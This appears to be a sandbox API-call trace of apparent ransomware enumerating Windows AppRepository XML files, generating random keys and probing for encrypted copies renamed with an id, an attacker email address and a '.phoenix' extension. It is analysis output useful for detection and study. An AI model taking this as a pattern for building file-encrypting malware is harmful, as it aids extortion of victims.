	[0250.769] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.770] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=25658) returned 1
	[0250.770] CloseHandle (hObject=0x2d4) returned 1
	[0250.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.770] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.770] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.770] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.770] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8338) returned 1
	[0250.770] CloseHandle (hObject=0x2d4) returned 1
	[0250.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.771] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.771] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.771] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.771] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=25867) returned 1
	[0250.771] CloseHandle (hObject=0x2d4) returned 1
	[0250.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.771] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.771] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.772] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8328) returned 1
	[0250.772] CloseHandle (hObject=0x2d4) returned 1
	[0250.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.772] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.772] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=846) returned 1
	[0250.773] CloseHandle (hObject=0x2d4) returned 1
	[0250.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.773] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.773] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=846) returned 1
	[0250.773] CloseHandle (hObject=0x2d4) returned 1
	[0250.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.774] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.774] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.774] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=29969) returned 1
	[0250.774] CloseHandle (hObject=0x2d4) returned 1
	[0250.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.774] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.774] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.774] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.774] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9901) returned 1
	[0250.774] CloseHandle (hObject=0x2d4) returned 1
	[0250.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.775] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.775] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.775] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.775] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=25984) returned 1
	[0250.775] CloseHandle (hObject=0x2d4) returned 1
	[0250.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.775] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.776] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.776] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3448) returned 1
	[0250.776] CloseHandle (hObject=0x2d4) returned 1
	[0250.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.776] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.777] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=922) returned 1
	[0250.777] CloseHandle (hObject=0x2d4) returned 1
	[0250.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.777] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.777] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17158) returned 1
	[0250.777] CloseHandle (hObject=0x2d4) returned 1
	[0250.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.778] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.778] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10093) returned 1
	[0250.778] CloseHandle (hObject=0x2d4) returned 1
	[0250.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.778] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
